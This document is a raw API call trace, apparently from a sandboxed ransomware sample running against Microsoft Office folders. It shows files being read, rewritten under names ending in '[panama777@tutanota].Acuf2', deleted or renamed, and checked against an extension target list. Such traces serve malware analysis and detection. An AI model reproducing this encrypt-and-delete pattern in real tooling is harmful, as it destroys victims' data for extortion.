	[0269.752] ReadFile (in: hFile=0x218, lpBuffer=0x3d30020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x310fed4, lpOverlapped=0x0 | out: lpBuffer=0x3d30020*, lpNumberOfBytesRead=0x310fed4*=0xa560, lpOverlapped=0x0) returned 1
	[0269.792] WriteFile (in: hFile=0x274, lpBuffer=0x3d30020*, nNumberOfBytesToWrite=0xa570, lpNumberOfBytesWritten=0x310fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d30020*, lpNumberOfBytesWritten=0x310fc9c*=0xa570, lpOverlapped=0x0) returned 1
	[0269.793] ReadFile (in: hFile=0x218, lpBuffer=0x3d30020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x310fed4, lpOverlapped=0x0 | out: lpBuffer=0x3d30020*, lpNumberOfBytesRead=0x310fed4*=0x0, lpOverlapped=0x0) returned 1
	[0269.793] WriteFile (in: hFile=0x274, lpBuffer=0x3d30020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x310fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d30020*, lpNumberOfBytesWritten=0x310fc9c*=0xec, lpOverlapped=0x0) returned 1
	[0269.793] SetEndOfFile (hFile=0x274) returned 1
	[0269.793] CloseHandle (hObject=0x274) returned 1
	[0269.794] SetFilePointerEx (in: hFile=0x218, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310fec8 | out: lpNewFilePointer=0x0) returned 1
	[0269.794] SetEndOfFile (hFile=0x218) returned 1
	[0269.796] CloseHandle (hObject=0x218) returned 1
	[0269.796] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WORKFLOW.VSL.id-9C354B42.[panama777@tutanota].Acuf2", dwFileAttributes=0x20) returned 1
	[0269.797] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WORKFLOW.VSL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\workflow.vsl")) returned 1
	[0269.797] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WORKFLOW.VSL") returned 60
	[0269.797] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WORKFLOW.VSL") returned 60
	[0269.797] lstrlenW (lpString=".doc") returned 4
	[0269.797] lstrcmpiW (lpString1=".doc", lpString2=".VSL") returned -1
	[0269.797] lstrlenW (lpString=".docx") returned 5
	[0269.797] lstrcmpiW (lpString1=".docx", lpString2="W.VSL") returned -1
	[0269.797] lstrlenW (lpString=".pdf") returned 4
	[0269.797] lstrcmpiW (lpString1=".pdf", lpString2=".VSL") returned -1
	[0269.797] lstrlenW (lpString=".xls") returned 4
	[0269.797] lstrcmpiW (lpString1=".xls", lpString2=".VSL") returned 1
	[0269.797] lstrlenW (lpString=".xlsx") returned 5
	[0269.797] lstrcmpiW (lpString1=".xlsx", lpString2="W.VSL") returned -1
	[0269.797] lstrlenW (lpString=".ppt") returned 4
	[0269.797] lstrcmpiW (lpString1=".ppt", lpString2=".VSL") returned -1
	[0269.797] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WORKFLOW.VSL") returned 60
	[0269.797] lstrlenW (lpString=".zip") returned 4
	[0269.797] lstrcmpiW (lpString1=".zip", lpString2=".VSL") returned 1
	[0269.797] lstrlenW (lpString=".rar") returned 4
	[0269.797] lstrcmpiW (lpString1=".rar", lpString2=".VSL") returned -1
	[0269.797] lstrlenW (lpString=".bz2") returned 4
	[0269.797] lstrcmpiW (lpString1=".bz2", lpString2=".VSL") returned -1
	[0269.797] lstrlenW (lpString=".7z") returned 3
	[0269.797] lstrcmpiW (lpString1=".7z", lpString2="VSL") returned -1
	[0269.797] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WORKFLOW.VSL") returned 60
	[0269.797] lstrlenW (lpString=".dbf") returned 4
	[0269.798] lstrcmpiW (lpString1=".dbf", lpString2=".VSL") returned -1
	[0269.798] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WORKFLOW.VSL") returned 60
	[0269.798] lstrlenW (lpString=".1cd") returned 4
	[0269.798] lstrcmpiW (lpString1=".1cd", lpString2=".VSL") returned -1
	[0269.798] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WORKFLOW.VSL") returned 60
	[0269.798] lstrlenW (lpString=".jpg") returned 4
	[0269.798] lstrcmpiW (lpString1=".jpg", lpString2=".VSL") returned -1
	[0270.158] GetFileSizeEx (in: hFile=0x29c, lpFileSize=0x310ff1c | out: lpFileSize=0x310ff1c*=16776) returned 1
	[0270.158] CloseHandle (hObject=0x29c) returned 1
	[0270.158] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\wxpr.dll" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\wxpr.dll")) returned 0x20
	[0270.165] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\wxpr.dll.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\wxpr.dll.id-9c354b42.[panama777@tutanota].acuf2")) returned 0xffffffff
	[0270.167] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\wxpr.dll" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\wxpr.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0270.168] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\wxpr.dll") returned 56
	[0270.168] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\wxpr.dll") returned 56
	[0270.168] lstrlenW (lpString=".doc") returned 4
	[0270.168] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1
	[0270.168] lstrlenW (lpString=".docx") returned 5
	[0270.168] lstrcmpiW (lpString1=".docx", lpString2="r.dll") returned -1
	[0270.168] lstrlenW (lpString=".pdf") returned 4
	[0270.168] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1
	[0270.168] lstrlenW (lpString=".xls") returned 4
	[0270.168] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1
	[0270.168] lstrlenW (lpString=".xlsx") returned 5
	[0270.168] lstrcmpiW (lpString1=".xlsx", lpString2="r.dll") returned -1
	[0270.168] lstrlenW (lpString=".ppt") returned 4
	[0270.168] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1
	[0270.168] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\wxpr.dll") returned 56
	[0270.168] lstrlenW (lpString=".zip") returned 4
	[0270.168] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1
	[0270.168] lstrlenW (lpString=".rar") returned 4
	[0270.168] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1
	[0270.168] lstrlenW (lpString=".bz2") returned 4
	[0270.168] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1
	[0270.168] lstrlenW (lpString=".7z") returned 3
	[0270.168] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1
	[0270.169] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\wxpr.dll") returned 56
	[0270.169] lstrlenW (lpString=".dbf") returned 4
	[0270.169] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1
	[0270.169] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\wxpr.dll") returned 56
	[0270.169] lstrlenW (lpString=".1cd") returned 4
	[0270.169] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1
	[0270.169] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\wxpr.dll") returned 56
	[0270.169] lstrlenW (lpString=".jpg") returned 4
	[0270.169] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1
	[0270.169] SetFilePointerEx (in: hFile=0x29c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310fec8 | out: lpNewFilePointer=0x0) returned 1
	[0270.170] SetFilePointerEx (in: hFile=0x29c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310fec8 | out: lpNewFilePointer=0x0) returned 1
	[0270.170] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\XLINTL32.DLL.IDX_DLL.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\xlintl32.dll.idx_dll.id-9c354b42.[panama777@tutanota].acuf2"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x270
	[0270.170] GetLastError () returned 0x0
	[0270.170] ReadFile (in: hFile=0x29c, lpBuffer=0x3d30020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x310fed4, lpOverlapped=0x0 | out: lpBuffer=0x3d30020*, lpNumberOfBytesRead=0x310fed4*=0x18380, lpOverlapped=0x0) returned 1
	[0270.173] WriteFile (in: hFile=0x270, lpBuffer=0x3d30020*, nNumberOfBytesToWrite=0x18390, lpNumberOfBytesWritten=0x310fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d30020*, lpNumberOfBytesWritten=0x310fc9c*=0x18390, lpOverlapped=0x0) returned 1
	[0270.175] ReadFile (in: hFile=0x29c, lpBuffer=0x3d30020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x310fed4, lpOverlapped=0x0 | out: lpBuffer=0x3d30020*, lpNumberOfBytesRead=0x310fed4*=0x0, lpOverlapped=0x0) returned 1
	[0270.175] WriteFile (in: hFile=0x270, lpBuffer=0x3d30020*, nNumberOfBytesToWrite=0xfc, lpNumberOfBytesWritten=0x310fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d30020*, lpNumberOfBytesWritten=0x310fc9c*=0xfc, lpOverlapped=0x0) returned 1
	[0270.175] SetEndOfFile (hFile=0x270) returned 1
	[0270.176] CloseHandle (hObject=0x270) returned 1
	[0270.176] SetFilePointerEx (in: hFile=0x29c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310fec8 | out: lpNewFilePointer=0x0) returned 1
	[0270.176] SetEndOfFile (hFile=0x29c) returned 1
	[0270.179] CloseHandle (hObject=0x29c) returned 1
	[0270.179] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\XLINTL32.DLL.IDX_DLL.id-9C354B42.[panama777@tutanota].Acuf2", dwFileAttributes=0x20) returned 1
	[0270.180] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\XLINTL32.DLL.IDX_DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\xlintl32.dll.idx_dll")) returned 1
	[0270.180] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\XLINTL32.DLL.IDX_DLL") returned 68
	[0270.180] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\XLINTL32.DLL.IDX_DLL") returned 68
	[0270.180] lstrlenW (lpString=".doc") returned 4
	[0270.180] lstrcmpiW (lpString1=".doc", lpString2="_DLL") returned -1
	[0270.180] lstrlenW (lpString=".docx") returned 5
	[0270.180] lstrcmpiW (lpString1=".docx", lpString2="X_DLL") returned -1
	[0270.180] lstrlenW (lpString=".pdf") returned 4
	[0270.180] lstrcmpiW (lpString1=".pdf", lpString2="_DLL") returned -1
	[0270.180] lstrlenW (lpString=".xls") returned 4
	[0270.180] lstrcmpiW (lpString1=".xls", lpString2="_DLL") returned -1
	[0270.180] lstrlenW (lpString=".xlsx") returned 5
	[0270.180] lstrcmpiW (lpString1=".xlsx", lpString2="X_DLL") returned -1
	[0270.180] lstrlenW (lpString=".ppt") returned 4
	[0270.180] lstrcmpiW (lpString1=".ppt", lpString2="_DLL") returned -1
	[0270.180] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\XLINTL32.DLL.IDX_DLL") returned 68
	[0270.180] lstrlenW (lpString=".zip") returned 4
	[0270.180] lstrcmpiW (lpString1=".zip", lpString2="_DLL") returned -1
	[0270.180] lstrlenW (lpString=".rar") returned 4
	[0270.180] lstrcmpiW (lpString1=".rar", lpString2="_DLL") returned -1
	[0270.180] lstrlenW (lpString=".bz2") returned 4
	[0270.180] lstrcmpiW (lpString1=".bz2", lpString2="_DLL") returned -1
	[0270.180] lstrlenW (lpString=".7z") returned 3
	[0270.180] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1
	[0270.181] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\XLINTL32.DLL.IDX_DLL") returned 68
	[0270.181] lstrlenW (lpString=".dbf") returned 4
	[0270.181] lstrcmpiW (lpString1=".dbf", lpString2="_DLL") returned -1
	[0270.181] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\XLINTL32.DLL.IDX_DLL") returned 68
	[0270.181] lstrlenW (lpString=".1cd") returned 4
	[0270.181] lstrcmpiW (lpString1=".1cd", lpString2="_DLL") returned -1
	[0270.181] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\XLINTL32.DLL.IDX_DLL") returned 68
	[0270.181] lstrlenW (lpString=".jpg") returned 4
	[0270.181] lstrcmpiW (lpString1=".jpg", lpString2="_DLL") returned -1
	[0270.182] GetFileSizeEx (in: hFile=0x29c, lpFileSize=0x310ff1c | out: lpFileSize=0x310ff1c*=383872) returned 1
	[0270.182] CloseHandle (hObject=0x29c) returned 1
	[0270.182] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\XLINTL32.REST.IDX_DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\xlintl32.rest.idx_dll")) returned 0x20
	[0270.182] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\XLINTL32.REST.IDX_DLL.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\xlintl32.rest.idx_dll.id-9c354b42.[panama777@tutanota].acuf2")) returned 0xffffffff
	[0270.182] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\XLINTL32.REST.IDX_DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\xlintl32.rest.idx_dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x29c
	[0270.183] SetFilePointerEx (in: hFile=0x29c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310fec8 | out: lpNewFilePointer=0x0) returned 1
	[0270.183] SetFilePointerEx (in: hFile=0x29c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310fec8 | out: lpNewFilePointer=0x0) returned 1
	[0270.183] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\XLINTL32.REST.IDX_DLL.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\xlintl32.rest.idx_dll.id-9c354b42.[panama777@tutanota].acuf2"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x270
	[0270.183] GetLastError () returned 0x0
	[0270.183] ReadFile (in: hFile=0x29c, lpBuffer=0x3d30020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x310fed4, lpOverlapped=0x0 | out: lpBuffer=0x3d30020*, lpNumberOfBytesRead=0x310fed4*=0x5db80, lpOverlapped=0x0) returned 1
	[0270.192] WriteFile (in: hFile=0x270, lpBuffer=0x3d30020*, nNumberOfBytesToWrite=0x5db90, lpNumberOfBytesWritten=0x310fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d30020*, lpNumberOfBytesWritten=0x310fc9c*=0x5db90, lpOverlapped=0x0) returned 1
	[0270.199] ReadFile (in: hFile=0x29c, lpBuffer=0x3d30020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x310fed4, lpOverlapped=0x0 | out: lpBuffer=0x3d30020*, lpNumberOfBytesRead=0x310fed4*=0x0, lpOverlapped=0x0) returned 1
	[0270.199] WriteFile (in: hFile=0x270, lpBuffer=0x3d30020*, nNumberOfBytesToWrite=0xfe, lpNumberOfBytesWritten=0x310fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d30020*, lpNumberOfBytesWritten=0x310fc9c*=0xfe, lpOverlapped=0x0) returned 1
	[0270.199] SetEndOfFile (hFile=0x270) returned 1
	[0270.199] CloseHandle (hObject=0x270) returned 1
	[0270.199] SetFilePointerEx (in: hFile=0x29c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310fec8 | out: lpNewFilePointer=0x0) returned 1
	[0270.199] SetEndOfFile (hFile=0x29c) returned 1
	[0270.208] CloseHandle (hObject=0x29c) returned 1
	[0270.209] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\XLINTL32.REST.IDX_DLL.id-9C354B42.[panama777@tutanota].Acuf2", dwFileAttributes=0x20) returned 1
	[0270.209] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\XLINTL32.REST.IDX_DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\xlintl32.rest.idx_dll")) returned 1
	[0270.398] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\XLINTL32.REST.IDX_DLL") returned 69
	[0270.398] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\XLINTL32.REST.IDX_DLL") returned 69
	[0270.410] lstrlenW (lpString=".doc") returned 4
	[0270.410] lstrcmpiW (lpString1=".doc", lpString2="_DLL") returned -1
	[0270.410] lstrlenW (lpString=".docx") returned 5
	[0270.419] lstrcmpiW (lpString1=".docx", lpString2="X_DLL") returned -1
	[0270.427] lstrlenW (lpString=".pdf") returned 4
	[0270.427] lstrcmpiW (lpString1=".pdf", lpString2="_DLL") returned -1
	[0270.427] lstrlenW (lpString=".xls") returned 4
	[0270.427] lstrcmpiW (lpString1=".xls", lpString2="_DLL") returned -1
	[0270.427] lstrlenW (lpString=".xlsx") returned 5
	[0270.427] lstrcmpiW (lpString1=".xlsx", lpString2="X_DLL") returned -1
	[0270.427] lstrlenW (lpString=".ppt") returned 4
	[0270.427] lstrcmpiW (lpString1=".ppt", lpString2="_DLL") returned -1
	[0270.427] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\XLINTL32.REST.IDX_DLL") returned 69
	[0270.427] lstrlenW (lpString=".zip") returned 4
	[0270.427] lstrcmpiW (lpString1=".zip", lpString2="_DLL") returned -1
	[0270.427] lstrlenW (lpString=".rar") returned 4
	[0270.427] lstrcmpiW (lpString1=".rar", lpString2="_DLL") returned -1
	[0270.427] lstrlenW (lpString=".bz2") returned 4
	[0270.427] lstrcmpiW (lpString1=".bz2", lpString2="_DLL") returned -1
	[0270.427] lstrlenW (lpString=".7z") returned 3
	[0270.427] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1
	[0270.427] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\XLINTL32.REST.IDX_DLL") returned 69
	[0270.428] lstrlenW (lpString=".dbf") returned 4
	[0270.428] lstrcmpiW (lpString1=".dbf", lpString2="_DLL") returned -1
	[0270.428] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\XLINTL32.REST.IDX_DLL") returned 69
	[0270.428] lstrlenW (lpString=".1cd") returned 4
	[0270.428] lstrcmpiW (lpString1=".1cd", lpString2="_DLL") returned -1
	[0270.428] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\XLINTL32.REST.IDX_DLL") returned 69
	[0270.428] lstrlenW (lpString=".jpg") returned 4
	[0270.428] lstrcmpiW (lpString1=".jpg", lpString2="_DLL") returned -1
	[0270.896] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310fec8 | out: lpNewFilePointer=0x0) returned 1
	[0270.896] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310fec8 | out: lpNewFilePointer=0x0) returned 1
	[0270.896] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\3082\\MSO.ACL.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\office14\\3082\\mso.acl.id-9c354b42.[panama777@tutanota].acuf2"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x36c
	[0271.574] GetLastError () returned 0x0
	[0271.574] ReadFile (in: hFile=0x388, lpBuffer=0x3d30020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x310fed4, lpOverlapped=0x0 | out: lpBuffer=0x3d30020*, lpNumberOfBytesRead=0x310fed4*=0xc57c, lpOverlapped=0x0) returned 1
	[0271.594] WriteFile (in: hFile=0x36c, lpBuffer=0x3d30020*, nNumberOfBytesToWrite=0xc580, lpNumberOfBytesWritten=0x310fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d30020*, lpNumberOfBytesWritten=0x310fc9c*=0xc580, lpOverlapped=0x0) returned 1
	[0271.595] ReadFile (in: hFile=0x388, lpBuffer=0x3d30020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x310fed4, lpOverlapped=0x0 | out: lpBuffer=0x3d30020*, lpNumberOfBytesRead=0x310fed4*=0x0, lpOverlapped=0x0) returned 1
	[0271.595] WriteFile (in: hFile=0x36c, lpBuffer=0x3d30020*, nNumberOfBytesToWrite=0xe2, lpNumberOfBytesWritten=0x310fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d30020*, lpNumberOfBytesWritten=0x310fc9c*=0xe2, lpOverlapped=0x0) returned 1
	[0271.595] SetEndOfFile (hFile=0x36c) returned 1
	[0271.595] CloseHandle (hObject=0x36c) returned 1
	[0271.595] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310fec8 | out: lpNewFilePointer=0x0) returned 1
	[0271.595] SetEndOfFile (hFile=0x388) returned 1
	[0271.628] CloseHandle (hObject=0x388) returned 1
	[0271.628] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\3082\\MSO.ACL.id-9C354B42.[panama777@tutanota].Acuf2", dwFileAttributes=0x20) returned 1
	[0271.628] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\3082\\MSO.ACL" (normalized: "c:\\program files\\microsoft office\\office14\\3082\\mso.acl")) returned 1
	[0271.629] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\3082\\MSO.ACL") returned 55
	[0271.629] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\3082\\MSO.ACL") returned 55
	[0271.629] lstrlenW (lpString=".doc") returned 4
	[0271.629] lstrcmpiW (lpString1=".doc", lpString2=".ACL") returned 1
	[0271.629] lstrlenW (lpString=".docx") returned 5
	[0271.629] lstrcmpiW (lpString1=".docx", lpString2="O.ACL") returned -1
	[0271.629] lstrlenW (lpString=".pdf") returned 4
	[0271.629] lstrcmpiW (lpString1=".pdf", lpString2=".ACL") returned 1
	[0271.629] lstrlenW (lpString=".xls") returned 4
	[0271.629] lstrcmpiW (lpString1=".xls", lpString2=".ACL") returned 1
	[0271.629] lstrlenW (lpString=".xlsx") returned 5
	[0271.629] lstrcmpiW (lpString1=".xlsx", lpString2="O.ACL") returned -1
	[0271.629] lstrlenW (lpString=".ppt") returned 4
	[0271.629] lstrcmpiW (lpString1=".ppt", lpString2=".ACL") returned 1
	[0271.629] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\3082\\MSO.ACL") returned 55
	[0271.629] lstrlenW (lpString=".zip") returned 4
	[0271.629] lstrcmpiW (lpString1=".zip", lpString2=".ACL") returned 1
	[0271.630] lstrlenW (lpString=".rar") returned 4
	[0271.630] lstrcmpiW (lpString1=".rar", lpString2=".ACL") returned 1
	[0271.630] lstrlenW (lpString=".bz2") returned 4
	[0271.630] lstrcmpiW (lpString1=".bz2", lpString2=".ACL") returned 1
	[0271.630] lstrlenW (lpString=".7z") returned 3
	[0271.630] lstrcmpiW (lpString1=".7z", lpString2="ACL") returned -1
	[0271.630] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\3082\\MSO.ACL") returned 55
	[0271.630] lstrlenW (lpString=".dbf") returned 4
	[0271.630] lstrcmpiW (lpString1=".dbf", lpString2=".ACL") returned 1
	[0271.630] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\3082\\MSO.ACL") returned 55
	[0271.630] lstrlenW (lpString=".1cd") returned 4
	[0271.630] lstrcmpiW (lpString1=".1cd", lpString2=".ACL") returned -1
	[0271.630] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\3082\\MSO.ACL") returned 55
	[0271.630] lstrlenW (lpString=".jpg") returned 4
	[0271.630] lstrcmpiW (lpString1=".jpg", lpString2=".ACL") returned 1
	[0271.632] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\ACCVDT.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\accvdt.dll"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\ACCVDT.DLL.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\office14\\accvdt.dll.id-9c354b42.[panama777@tutanota].acuf2")) returned 0
	[0271.632] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\ACCVDT.DLL") returned 53
	[0271.632] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\ACCVDT.DLL") returned 53
	[0271.632] lstrlenW (lpString=".doc") returned 4
	[0271.632] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1
	[0271.632] lstrlenW (lpString=".docx") returned 5
	[0271.632] lstrcmpiW (lpString1=".docx", lpString2="T.DLL") returned -1
	[0271.632] lstrlenW (lpString=".pdf") returned 4
	[0271.632] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1
	[0271.632] lstrlenW (lpString=".xls") returned 4
	[0271.632] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1
	[0271.632] lstrlenW (lpString=".xlsx") returned 5
	[0271.632] lstrcmpiW (lpString1=".xlsx", lpString2="T.DLL") returned -1
	[0271.632] lstrlenW (lpString=".ppt") returned 4
	[0271.632] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1
	[0271.632] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\ACCVDT.DLL") returned 53
	[0271.632] lstrlenW (lpString=".zip") returned 4
	[0271.632] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1
	[0271.632] lstrlenW (lpString=".rar") returned 4
	[0271.632] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1
	[0271.632] lstrlenW (lpString=".bz2") returned 4
	[0271.632] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1
	[0271.632] lstrlenW (lpString=".7z") returned 3
	[0271.632] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1
	[0271.632] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\ACCVDT.DLL") returned 53
	[0271.632] lstrlenW (lpString=".dbf") returned 4
	[0271.632] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1
	[0271.633] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\ACCVDT.DLL") returned 53
	[0271.633] lstrlenW (lpString=".1cd") returned 4
	[0271.633] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1
	[0271.633] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\ACCVDT.DLL") returned 53
	[0271.633] lstrlenW (lpString=".jpg") returned 4
	[0271.633] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1
	[0271.664] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\ACCWIZ\\ACWZDAT12.ACCDU" (normalized: "c:\\program files\\microsoft office\\office14\\accwiz\\acwzdat12.accdu"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\ACCWIZ\\ACWZDAT12.ACCDU.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\office14\\accwiz\\acwzdat12.accdu.id-9c354b42.[panama777@tutanota].acuf2")) returned 0
	[0271.664] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\ACCWIZ\\ACWZDAT12.ACCDU") returned 65
	[0271.664] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\ACCWIZ\\ACWZDAT12.ACCDU") returned 65
	[0271.664] lstrlenW (lpString=".doc") returned 4
	[0271.664] lstrcmpiW (lpString1=".doc", lpString2="CCDU") returned -1
	[0271.664] lstrlenW (lpString=".docx") returned 5
	[0271.664] lstrcmpiW (lpString1=".docx", lpString2="ACCDU") returned -1
	[0271.664] lstrlenW (lpString=".pdf") returned 4
